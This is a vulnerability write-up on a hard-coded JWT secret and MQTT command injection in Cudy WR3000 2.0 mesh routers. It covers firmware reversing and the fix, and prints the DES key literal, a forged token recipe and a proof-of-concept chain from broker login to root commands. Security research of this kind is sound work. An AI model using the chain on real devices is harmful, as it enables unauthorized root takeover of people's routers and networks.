The Same Key Opens Every Box: CVE-2026-71960 — Hard-coded JWT Secret in Cudy's WR3000 Mesh MQTT Broker
A Wi-Fi 6 mesh router that authenticates its own mesh protocol with JWTs signed by a single HMAC key baked into the firmware image. Download the firmware, decrypt the NVRAM blob with a key hiding in a shared library, forge a token, and the broker on port 1883 welcomes you as the mesh controller — from where a second flaw (CVE-2026-71961) turns a published MQTT message into a root shell. CVSS 9.1 Critical.
Overview
On August 19, 2026, NIST’s National Vulnerability Database published CVE-2026-71960, a use-of-hard-coded-credentials vulnerability (CWE-798) in the Cudy WR3000 2.0 AX3000 mesh Wi-Fi 6 router, reported by Nir Yehoshua through VulnCheck. The flaw lives in the authentication plugin that the device’s Mosquitto MQTT broker loads to validate mesh traffic: the plugin verifies incoming JWTs with an HMAC signing key fetched from the device’s board-info store — a key that is identical across the fleet and extractable from the public firmware image. Anyone who can reach the broker’s plaintext listener on TCP 1883 can mint tokens the plugin accepts, authenticate without any credentials, and gain read/write access to the mesh control interface.
The advisory’s own words: “unauthenticated attackers … craft arbitrary JWT tokens and authenticate to the MQTT broker without legitimate credentials, gaining unauthorized access to the device’s mesh networking interface.”
That is bad enough on its own. But broker access is a stepping stone, because Cudy shipped a second, closely related flaw in the same firmware: CVE-2026-71961 (CVSS 8.8, CWE-78), an OS command injection reachable through that same MQTT interface. The sync_command helper forwards a cmd field to a Lua handler that passes it — unsanitized — to io.popen(). Chain the two and a network-adjacent attacker goes from zero privileges to root command execution on every node of the mesh. The official scores treat them separately (PR:N for the first, PR:L for the second, since “privileges” in the second case means exactly what the first vulnerability grants); in practice they are one exploit with two CVE numbers.
What makes this vulnerability worth a close read is not the CVSS — it is the architecture. JWTs are a web technology, usually a thin session layer in front of a real secret store. Here, the JWT is the mesh identity, the signing key is a fleet-wide constant hidden two layers deep (an encrypted NVRAM partition, whose DES key is itself a string literal in a shared library), and the entire mechanism can be reconstructed from a firmware image anyone can download from the vendor’s own site. We did exactly that, and this article walks through every step.
Vulnerability Classification
| Field | Value |
|---|---|
| CVE ID | CVE-2026-71960 |
| CVSS v3.1 | 9.1 CRITICAL |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CVSS v4.0 (VulnCheck) | 9.3 — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N |
| CWE | CWE-798 — Use of Hard-coded Credentials |
| Affected Product | Cudy WR3000 2.0 (AX3000 Gigabit Mesh Wi-Fi 6 Router) |
| Affected Firmware | before 2.5.24 (2.4.14 – 2.4.15, the only public releases before the fix) |
| Fixed Firmware | 2.5.24 (built 2026-07-27, published 2026-07-30) |
| Affected Component | /usr/lib/auth_plugin_jwt.so — Mosquitto auth plugin |
| Vulnerable Interface | Mosquitto MQTT, plaintext listener 0.0.0.0:1883 |
| Root Cause | JWT HMAC signing key stored fleet-wide in the DES-encrypted bdinfo partition, recoverable from the public firmware image |
| Attack Vector | Network (MQTT CONNECT with forged JWT) |
| Impact | Unauthenticated access to mesh control plane; chains with CVE-2026-71961 to root RCE |
| Discoverer | Nir Yehoshua (credited by VulnCheck) |
| CNA | VulnCheck (disclosure@vulncheck.com) |
| Published Date | 2026-08-19 |
The companion flaw, CVE-2026-71961:
| Field | Value |
|---|---|
| CVSS v3.1 | 8.8 HIGH |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-78 — OS Command Injection |
| Affected Component | /usr/sbin/sync_command → /usr/lib/lua/cmagent/router/command.lua |
| Root Cause | MQTT cmd field forwarded unsanitized to io.popen() |
| Impact | Arbitrary OS command execution as root via the mesh MQTT command path |
The Target: A Mesh Router That Speaks MQTT to Itself
The WR3000 2.0 is Cudy’s entry in the crowded AX3000 Wi-Fi 6 category: an ARM Cortex-A9 SoC on HiSilicon silicon (the firmware’s own target string says hisilicon/luofu), OpenWrt 22.03 underneath, sold both as a standalone router and as the controller node of a multi-unit mesh system. One unit acts as the gateway; additional WR3000s join as satellites, and the nodes coordinate roaming, backhaul, and guest-network state between themselves.
How do the nodes talk? Not with a bespoke UDP protocol, and not over ubus (OpenWrt’s local RPC bus, which does not cross devices). Cudy’s mesh stack — the cmagent daemon and its Lua handlers — communicates over MQTT, the pub/sub protocol built for lightweight machine-to-machine messaging. Every WR3000 2.0 runs a full Mosquitto 2.0.15 broker, and the mesh’s control traffic flows through topics shaped like this:
router/<source-deviceid>/<destination-deviceid>/<module>/<action>
The ACL file shipped at /etc/mosquitto/aclfile.conf makes the roles explicit (placeholders shown as the factory default zeros):
user cudydevice
topic read router/+/000000000000/+/+/+ # satellites read messages to themselves
topic write router/000000000000/+/+/+/+ # satellites write messages from themselves
user admincudydevice
topic read router/000000000000/+/+/+/+ # controller reads everything
topic write router/+/000000000000/+/+/+/+ # controller commands satellites
topic read $SYS/#
So the design intends two MQTT identities: a satellite (cudydevice) and a controller (admincudydevice). Whatever credentials authenticate those identities had to be present on every unit, because satellites join the mesh with zero configuration — and that constraint is where the vulnerability is born.
The Broker Configuration
From /etc/mosquitto/mosquitto.conf on firmware 2.4.15, verbatim:
allow_anonymous false
auth_plugin /usr/lib/auth_plugin_jwt.so
acl_file /etc/mosquitto/aclfile.conf
listener 1883 0.0.0.0
listener 8883 0.0.0.0
cafile /var/etc/mosquitto/ca.crt
certfile /var/etc/mosquitto/server.crt
keyfile /var/etc/mosquitto/server.key
require_certificate true
Two listeners. The TLS listener on 8883 is configured the way you would hope — server certificate, client certificates required, so a TLS connection proves possession of a device key. But the plaintext listener on 1883 is bound to all interfaces, and authentication there rests entirely on the auth plugin. That plugin decides who is a satellite, who is a controller — and, as we will see, its decision reduces to one HMAC key shared by every WR3000 2.0 ever manufactured.
Background: Three Pieces You Need to Know
JWT with HMAC (HS256)
A JSON Web Token is three base64url parts — header.payload.signature. With the HS256 algorithm, the signature is HMAC-SHA256(secret, header + "." + payload). Verification is symmetric: the same secret that signs also verifies. That property is exactly what makes a hard-coded HMAC key fatal — there is no “private key stays on the server” asymmetry to save you. Possession of the secret is possession of the identity. A forged token needs:
alg: HS256in the header (HS384/HS512 also work — the plugin accepts any HMAC variant),- whatever claims the verifier reads, and
- a valid signature over those parts with the secret.
The Mosquitto Auth-Plugin API
Mosquitto brokers can delegate authentication to a shared object exporting a small callback API. Two callbacks matter here:
mosquitto_auth_plugin_init()— called once at broker startup, traditionally where options (including keys) frommosquitto.confwould be parsed.mosquitto_auth_unpwd_check(username, password)— called on everyMQTT CONNECT. ReturnMOSQ_ERR_SUCCESS(0) to admit the client,MOSQ_ERR_AUTH(0x0b) to reject it.
Notably, Cudy’s mosquitto.conf passes no options to the plugin. Whatever key material the plugin uses, it fetches itself.
bdinfo: Cudy’s Board-Info Store
bdinfo is a Cudy-proprietary NVRAM layer (a shared library, /usr/lib/libbdinfo.so, plus the /usr/bin/bdinfo CLI) that stores per-device factory data — MAC address, board model, region — in a dedicated MTD flash partition. The stored values are addressed by key (bdinfo_get_value("mac", buf, len)), and the backing partition is DES-encrypted, with decryption happening inside the library. It is a reasonable design for MAC addresses and regulatory data. It is a fateful design for signing keys, because the same encrypted blob also stores a field named secret — and the DES key that protects it is compiled into a library that ships in the public firmware.
The Firmware Is the Keychain
Everything in this article was verified against the public firmware images from Cudy’s download center — no hardware required. The vulnerable release we dissected:
| Firmware | File | Date | Status |
|---|---|---|---|
| 2.4.14 | WR3000V2-R116-2.4.14-…-sysupgrade.zip |
2025-09-29 | Vulnerable (first release) |
| 2.4.15 | WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.zip |
2025-11-13 | Vulnerable (latest affected) |
| 2.5.24 | WR3000V2-R116-2.5.24-20260727-122111-sysupgrade.zip |
2026-07-30 | Fixed |
Unpacking the Image
The .bin inside the zip is not a raw squashfs — it is a flash image in Cudy’s hboot1tag container: a custom header, a bootloader blob, a uImage kernel (Linux-5.10.201), and a UBI region holding the root filesystem as a static volume. Each UBI physical erase block (PEB) is 128 KB with a 4 KB header, so a naive binwalk -e carves a superblock that looks valid and then fails on garbage — the squashfs bytes are interleaved with UBI headers every 128 KB.
The extraction is two steps — find the squashfs superblock (magic hsqs, which sits at a PEB + 4096), then re-concatenate the payload of every following PEB:
$ python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs
[*] WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin: 20975775 bytes
[*] uImage kernel @ 527964 (0x80e5c): 'Linux-5.10.201' (4294096 bytes, load 0x80608000)
[*] squashfs @ 5129192 (PEB 5125096): inodes=4754, bytes_used=14862432
[*] reassembled 14862432 bytes from 118 UBI PEBs
[+] filesystem extracted to rootfs/
[+] usr/lib/auth_plugin_jwt.so
[+] usr/lib/libbdinfo.so
[+] etc/mosquitto/mosquitto.conf
A stock unsquashfs then unpacks the full OpenWrt filesystem, and every component in the CVE chain is sitting in plain sight:
/usr/lib/auth_plugin_jwt.so 58540 bytes stripped ARM ELF (the auth plugin)
/usr/lib/libbdinfo.so 17656 bytes the NVRAM layer (holds the DES key)
/usr/sbin/mosquitto the broker (2.0.15)
/usr/sbin/cmagent the mesh agent (mints legitimate JWTs)
/usr/sbin/sync_command admin helper → mesh command broadcaster
/usr/lib/lua/cmagent/router/command.lua the Lua command sink
/etc/mosquitto/mosquitto.conf broker config (listener 1883!)
Technical Deep Dive
What the Plugin Actually Does
auth_plugin_jwt.so is a 32-bit ARM shared object, stripped, with libjwt (a 2019 vintage — the opkg database still calls the package libjwt2019-05-30) and the jansson JSON library statically linked in. Reversing the two exported callbacks gives the entire authentication contract.
At broker startup — mosquitto_auth_plugin_init() fetches exactly two values from bdinfo into fixed 0x101-byte global buffers, one after the other (reconstructed from the disassembly at 0x328c):
char deviceid_buf[0x101]; /* global @ 0xf040 */
char secret_buf[0x101]; /* global @ 0xf144, i.e. deviceid_buf + 0x104 */
bdinfo_get_value("deviceid", deviceid_buf, 0x101);
bdinfo_get_value("secret", secret_buf, 0x101);
The signing key for every JWT on this device is the bdinfo field literally named secret. There is no per-boot randomization, no key derived from device-unique material, no rotation. Whatever the factory wrote into that partition is the key — and since satellites must join any gateway without configuration, it is the same key on every unit.
On every CONNECT — mosquitto_auth_unpwd_check(username, password) at 0x3318 implements five checks:
/* 1 */ if (username == NULL || password == NULL) return MOSQ_ERR_AUTH;
/* 2 */ if (strstr(username, deviceid_buf) == NULL) return MOSQ_ERR_AUTH;
/* 3 */ if (jwt_decode(&jwt, password,
secret_buf, strlen(secret_buf))) return MOSQ_ERR_AUTH;
/* 4 */ if (jwt_get_grant_int(jwt, "exp") < 0x5E0BB6D0) return MOSQ_ERR_AUTH;
/* 5 */ if (strstr(jwt_get_grant(jwt, "username"),
deviceid_buf) == NULL) return MOSQ_ERR_AUTH;
return MOSQ_ERR_SUCCESS;
Read that as an attacker’s checklist:
- The MQTT username must contain the device’s
deviceid— a 12-digit identifier, not a secret (it also appears in ACL topic patterns and/var/run/cmagent/directory names, and is readable on the device with the vendor’s ownbdinfoCLI). - The MQTT password is the JWT itself, verified with the bdinfo
secretas the HMAC key. expmust be ≥ 0x5E0BB6D0 — that constant is the Unix timestamp 1577826000, i.e. 2019-12-31 21:00:00 UTC. The plugin callstime()and then never compares against it — the result is dead code in the compiled binary. The “expiry check” is a hard-coded floor: any token claiming to expire after New Year’s Eve 2019 passes, forever.- The
usernamegrant inside the JWT must also contain thedeviceid.
And that’s it — mosquitto_auth_acl_check() is a stub that returns success unconditionally, so once CONNECT passes, every topic is readable and writable, the ACL file notwithstanding. There is no separate “controller” credential: the same token recipe authenticates a node as far as the broker is concerned.
One Door That Is Genuinely Closed: alg: none
Before reaching for the secret, we checked the classic JWT shortcut — header alg: none, empty signature. The 2019 libjwt embedded in this plugin handles it in jwt_decode() (disassembly at 0x3c9c): tokens with alg absent from the string table are rejected outright (JWT_ALG_INVAL → EINVAL), and crucially the JWT_ALG_NONE path returns EINVAL whenever a key was supplied — which the plugin always does. The same disassembly confirms the enum order (HS256=1 … ES512=9), so only HS256/HS384/HS512 and the PEM-based algorithms are reachable, and the PEM algorithms fail because an HMAC secret is not a PEM key. There is no algorithm-confusion bypass here. The attacker needs the secret — which brings us to where it lives.
Where the Secret Lives: bdinfo, DES, and a String Literal
The bdinfo layer is the best-protected component in this chain, which tells you where Cudy’s security attention went — and didn’t. Reversing /usr/lib/libbdinfo.so:
- The library locates its partition by scanning
/proc/mtdfor thebdinfoentry, then reads/dev/mtd<N>. - The blob is DES-CBC encrypted. The key is derived by OpenSSL’s
DES_string_to_key()from a string literal compiled into the library. Out of the strings section of the very.sothat ships in the public firmware:
88T3j05dtFu8=
- After decryption, the plaintext is line-oriented
key = valuepairs (parsed with"%s = %[^\n]") — fields likemac,board,model,country, and, of course,deviceidandsecret. - Integrity is taken seriously, ironically: the plaintext is additionally RSA-signed, and the library verifies it against a hard-coded public key before use.
So the “protection” of the fleet-wide JWT signing secret is a DES key that any copy of the firmware contains. The attacker’s pipeline is: download the sysupgrade image (public), extract libbdinfo.so (public), take the literal, feed it through the same DES_string_to_key derivation, decrypt the bdinfo partition — obtainable from any single physical WR3000 2.0, or from a factory image — and read secret = <value>. One device, or one image, burns the entire fleet: every WR3000 2.0 on firmware < 2.5.24 verifies tokens with that same value.
Why does the CVE say “extracting the secret from the firmware image”? Because the sysupgrade image itself carries the decryption key, and the encrypted bdinfo factory data is part of the device’s flash layout — the same key material is recoverable from any firmware/factory distribution without ever touching a running device. The key is not per-device (it cannot be: satellites must authenticate against an arbitrary gateway), so one extraction generalizes to all units.
From Broker Access to Root: CVE-2026-71961
Authentication bypasses are abstract until you see what the authenticated channel does. On the WR3000, one of the Lua handlers behind the MQTT command topic is /usr/lib/lua/cmagent/router/command.lua — compiled Lua whose constant table tells the whole story:
require cmagent cjson service_call … decode … cmd …
io popen read *all print "shell cmd " code message
success data close reply encode
A message carrying a cmd string is decoded from JSON and handed to io.popen(cmd) — a shell — with the output read back (:read("*all")) and replied over the mesh as {"code":…, "message":"success", "data":<output>}. The handler runs inside the mesh agent, which runs as root.
The vendor’s own tooling demonstrates the injection path. /usr/sbin/sync_command, the admin CLI helper for running a command across the mesh:
#!/usr/bin/lua
local uci = require("luci.model.uci").cursor()
local cmagent = require "cmagent"
local fs = require "nixio.fs"
if uci:get("cmagent", "mqtt", "admin") == "1" then
for client in fs.dir ("/var/run/cmagent") do
if client ~= "000000000000" then
cmagent.send("router", client, "router", "command", { cmd = arg[1] })
end
end
end
It broadcasts { cmd = <argv[1]> } to every connected satellite on router/<me>/<client>/router/command — and nothing anywhere in that pipeline sanitizes the string before it reaches io.popen. The intended use is sync_command "reboot"; the unintended use is any shell metacharacter sequence you like. Attention! — CVE-2026-71961 is rated PR:L (“low privileges required”) because the advisory treats broker access as the prerequisite privilege. That prerequisite is exactly what CVE-2026-71960 grants for free. The chain, end to end:
What the Fix Looks Like: 2.5.24, Diffs Included
We extracted the fixed firmware the same way and diffed the components. Cudy did not patch the secret — they deleted the concept:
| Component | 2.4.15 (vulnerable) | 2.5.24 (fixed) |
|---|---|---|
auth_plugin_jwt.so |
58,540 B, embeds libjwt 2019 + jansson, imports bdinfo_get_value |
5,260 B, links the system libjwt, no bdinfo import at all |
mosquitto.conf |
listeners 1883 (plaintext, all interfaces) and 8883 TLS |
only 8883, TLS with require_certificate true, modern ECDHE/TLS 1.3 cipher lists |
| JWT verification | jwt_decode(token, secret, len) — HMAC with bdinfo secret |
jwt_decode(token, NULL, 0) — no signature check at all |
| Identity binding | strstr(grant, deviceid) |
strcmp(grant, username) |
sync_command |
broadcasts cmd |
unchanged |
libbdinfo.so |
DES layer, key literal 88T3j05dtFu8= |
same literal still present (no longer used for auth) |
The reasoning is sound even if the diff is brutal to read. With the plaintext 1883 listener removed and mutual TLS mandatory, a client cannot reach unpwd_check without first presenting a certificate the broker’s CA issued — per-device key material, not a fleet-wide string. At that point the JWT adds nothing as a signature, so the fixed plugin reduces it to a claims envelope (exp floor, username equality) and lets the TLS handshake carry the cryptography. The DES key in libbdinfo survives because the board-info partition’s format was never the real problem — using it as a JWT keychain was.
Caveat. Cudy shipped this fix silently. The 2.5.24 release notes advertise Ad Guard integration, VPN profiles, mesh topology view, and a high-contrast mode — with no mention of CVE-2026-71960, CVE-2026-71961, or any security content. Owners who read changelogs before upgrading have no signal that this is the one they must not skip.
Exploitation Considerations
Threat Model
Who can reach the broker? Listener 1883 binds 0.0.0.0, which on a stock WR3000 means the LAN segments — including, depending on the guest-network and VLAN configuration, networks where less-trusted clients live. The realistic adversaries:
- Any LAN-adjacent client. A compromised laptop, a malicious IoT device on the same segment, or anyone on a guest SSID that isn’t properly isolated from the management plane. MQTT CONNECT plus a forged JWT is the whole interaction.
- A compromised satellite. The weakest node in a mesh is part of the same broker fabric; a rooted satellite uses this same credentials flaw to command its siblings and the gateway.
- Anything that can pivot to the LAN. The chain requires no user interaction, no listening service exploit beyond MQTT, and leaves the web admin entirely untouched — a quality that makes it attractive post-exploitation lateral movement.
What the attacker walks away with: full read/write on the mesh control plane (topology, credentials, client lists, configuration pushes), the ability to inject commands on every node (CVE-2026-71961), and — via the same secret — the ability to impersonate any WR3000 2.0 mesh controller to any satellite on vulnerable firmware.
Why This Design Keeps Failing
Symmetric credentials in consumer gear is a hardy perennial. We have written about its cousins twice this year: the GL.iNet Beryl AX triple-RCE chain on a travel router, and the Tenda W6-S wifiSSIDset overflow — different bug class, same species of question: what exactly stops the unauthenticated attacker on this interface? For the WR3000, the honest pre-patch answer was “a DES-encrypted string that ships with the manual download.”
The JWT framing is the modern twist. Adding a web token format does not add security; it relocates the secret. If the relocation lands on a fleet-wide constant, you have built a fancy presentation layer around a hard-coded password — CWE-798 with extra steps, and a 9.1 CVSS to match.
Affected Products
- Confirmed affected: Cudy WR3000 2.0 running firmware before 2.5.24 (2.4.14 and 2.4.15 are the only prior public releases, both affected).
- Sibling models: Cudy’s mesh line shares the
cmagent/Mosquitto architecture across models (M3000, WR3000S/E/H/P families and related), but only the WR3000 2.0 is named by the advisory. Treat siblings as suspect until their firmware is inspected — the extraction workflow in this article’s PoC applies to any Cudy image unchanged.
Remediation
Patch
Upgrade to firmware 2.5.24 (2026-07-30) or later. Download from Cudy’s official page for the model, and verify the version string after flashing:
- WR3000 2.0 download center: https://www.cudy.com/en-us/pages/download-center/wr3000-2-0
Mitigation (until every node is patched)
- Patch the whole mesh, not just the gateway. Satellites on 2.4.x remain forgeable peers even if the gateway is updated. Mesh firmware pushes from the app/controller are the practical way to reach nodes without serial consoles.
- Isolate management and mesh traffic. Keep the WR3000’s LAN segments away from untrusted clients; guest networks must not route to the router’s management plane. Port 1883 has no reason to be reachable from anything but the mesh nodes themselves.
- Assume the fleet secret is public. It is extractable from firmware that anyone can download; act accordingly — do not expose the router’s LAN to hostile networks, and treat mesh-adjacent compromises as likely full-chain (root) events.
- Check for
sync_commandusage and unknown mesh peers. A node that has acceptedcommand.luaexecutions will not log them; audit via configuration diffs and the controller’s topology view after patching.
For Device Vendors
- Never ship a symmetric fleet-wide credential. If zero-touch joining requires shared material, scope it per-deployment (pairing-time exchange), not per-product-line.
- mTLS first, tokens second — the 2.5.24 redesign is the textbook fix: bind identity to per-device asymmetric keys at the transport, and treat anything above the transport as claims, not proof.
- A DES-encrypted partition keyed by a literal in a public
.sois not a secret store. It is obfuscation with extra bandwidth.
Proof of Concept
The PoC has four parts, mirroring the article: a firmware unpacker (verified against both the vulnerable and fixed images), a bdinfo decryptor (run against a dump from your own device), a token forger, and an MQTT client that authenticates and exercises the command path. All of it is written to be run in a lab, against devices you own.
1. Unpacking the Public Firmware
$ python3 extract_firmware.py WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin --out rootfs
[*] WR3000V2-R116-2.4.15-20251030-114751-sysupgrade.bin: 20975775 bytes
[*] uImage kernel @ 527964 (0x80e5c): 'Linux-5.10.201' (4294096 bytes, load 0x80608000)
[*] squashfs @ 5129192 (PEB 5125096): inodes=4754, bytes_used=14862432
[*] reassembled 14862432 bytes from UBI PEBs
[+] filesystem extracted to rootfs/
[+] usr/lib/auth_plugin_jwt.so
[+] usr/lib/libbdinfo.so
[+] etc/mosquitto/mosquitto.conf
2. Recovering the Key Material
The DES key literal ships inside the extracted library:
$ strings -n 8 rootfs/usr/lib/libbdinfo.so | grep -E '^[A-Za-z0-9+/]{12}=$'
88T3j05dtFu8=
With a bdinfo MTD dump from your own device (cat /dev/mtd<bdinfo> > bdinfo.bin via SSH or serial on 2.4.x), the decryptor reproduces the library’s key derivation (DES_string_to_key semantics, zero IV — both verified in the disassembly) and CBC decryption. Output below from a synthetic dump that exercises the exact same code path:
$ python3 decrypt_bdinfo.py bdinfo.bin
[*] DES key (string-to-key of '88T3j05dtFu8='): 0173a73b3749ef97
[+] parsed 4 key = value pairs:
mac = 11:22:33:44:55:66
board = WR3000
deviceid = 012345678901 <-- 12-digit mesh identifier (needed in JWT username)
secret = XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX <-- fleet-wide JWT signing key (CVE-2026-71960)
3. Forging a Token the Plugin Accepts
The forger builds the minimum token that passes all five checks — HS256, an exp above the 2019-12-31 floor, a username grant containing the target’s 12-digit deviceid — and round-trip verifies it with the same key (placeholder secret shown; swap in the real one):
$ python3 forge_jwt.py --deviceid 012345678901 --secret 'PLACEHOLDER-SECRET-FOR-DEMO'
[+] token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJleHAiOjE5OTk5OTk5OTksInVzZXJuYW1lIjoiYWRtaW5jdWR5ZGV2aWNlLTAxMjM0NTY3ODkwMSJ9.pmV-MkgZ5V6ZPpJJbMngKkkbegIc5UiUo0tKN5yClsE
header : {'alg': 'HS256', 'typ': 'JWT'}
payload : {'exp': 1999999999, 'username': 'admincudydevice-012345678901'}
[+] self-verify HS256: OK
[+] exp 1999999999 >= floor 1577826000: OK
[+] username grant contains deviceid: OK
Decoded, the payload is exactly what the plugin asks for:
{
"exp": 1999999999,
"username": "admincudydevice-012345678901"
}
Note what is not required: no issued-at, no audience, no issuer, no token id, no revocation — and no expiry the verifier will ever enforce against the clock.
4. Authenticating to the Broker (and the Root Chain)
$ python3 mqtt_takeover.py --host 192.168.10.1 --port 1883 \
--deviceid 012345678901 --secret 'XXXX…' --subscribe 'router/#'
[*] CONNECT 192.168.10.1:1883 user=admincudydevice-012345678901
[+] CONNACK rc=0 — broker accepted the forged JWT
[+] subscribed: router/# (acl_check allows all)
From there, publishing the command message a satellite’s command.lua will hand to io.popen — { "cmd": "id" } on router/<controller>/<satellite>/router/command — returns the command’s output in the reply topic when a vulnerable satellite receives it. The command injection is CVE-2026-71961’s step; run it only against your own hardware.
Attention! This PoC is for authorised security research only. Run it solely against devices you own or have explicit written permission to test, and never against a mesh carrying production traffic.
The Bigger Picture: Fleet-Wide Symmetry Is the Vulnerability
Strip away the acronyms and CVE-2026-71960 is a single decision: the mesh needs a shared credential, so put one credential everywhere. Every layer Cudy built around that decision — the DES-encrypted partition, the RSA signature on the NVRAM blob, the JWT wrapper — is competent work in isolation. The problem is that each layer’s secret was anchored to the next layer’s public material, and the chain bottoms out at a string you can download from the vendor’s product page. Security chains are measured at the weakest link; here the links are nested inside each other like matryoshka dolls, and the innermost doll is a 13-character literal.
The fix, when it came, was the right one: stop sharing. Per-device certificates at the transport, claims without signatures above it, and the plaintext listener deleted rather than hardened. If you build connected products, the lesson generalizes past routers and past JWTs: zero-touch enrollment at manufacturing scale requires asymmetric keys burned per device — or it requires nothing at all and calls itself a secret anyway.
The router on your shelf does not think of itself as a fleet. Its firmware does. And on firmware 2.4.x, the fleet all wore the same lock — with the key taped to the outside of the box.
SOURCES
- NIST NVD — CVE-2026-71960: https://nvd.nist.gov/vuln/detail/CVE-2026-71960
- MITRE CVE — CVE-2026-71960: https://www.cve.org/vuln/detail/CVE-2026-71960
- NIST NVD — CVE-2026-71961: https://nvd.nist.gov/vuln/detail/CVE-2026-71961
- VulnCheck Advisory — Cudy WR3000 2.0 Hard-coded JWT Secret Authentication Bypass via MQTT: https://www.vulncheck.com/advisories/cudy-wr3000-hard-coded-jwt-secret-authentication-bypass-via-mqtt
- VulnCheck Advisory — Cudy WR3000 2.0 OS Command Injection via Mesh MQTT Command Handler: https://www.vulncheck.com/advisories/cudy-wr3000-os-command-injection-via-mesh-mqtt-command-handler
- Cudy WR3000 2.0 Download Center (firmware 2.4.14 / 2.4.15 / 2.5.24): https://www.cudy.com/en-us/pages/download-center/wr3000-2-0
- MITRE CWE-798 — Use of Hard-coded Credentials: https://cwe.mitre.org/data/definitions/798.html
- MITRE CWE-78 — Improper Neutralization of Special Elements used in an OS Command: https://cwe.mitre.org/data/definitions/78.html
- Mosquitto MQTT broker — Plugin authentication reference: https://mosquitto.org/documentation/authentication-methods/
- RFC 7519 — JSON Web Token (JWT): https://www.rfc-editor.org/rfc/rfc7519
- OpenSSL — DES_string_to_key (legacy DES API): https://docs.openssl.org/1.1.1/man3/DES_string_to_key/
- Hunt-Benito — GL.iNet Beryl AX triple RCE (related router root-chain advisory): https://www.hunt-benito.com/glinet-beryl-ax-triple-rce-cve-2026-11450-11451-11452-unauthenticated-root-on-travel-router/
- Hunt-Benito — Tenda W6-S wifiSSIDset stack overflow (related consumer-gear weakness): https://www.hunt-benito.com/go-without-bounds-cve-2026-67822-stack-overflow-in-tenda-w6-s-wifissidset/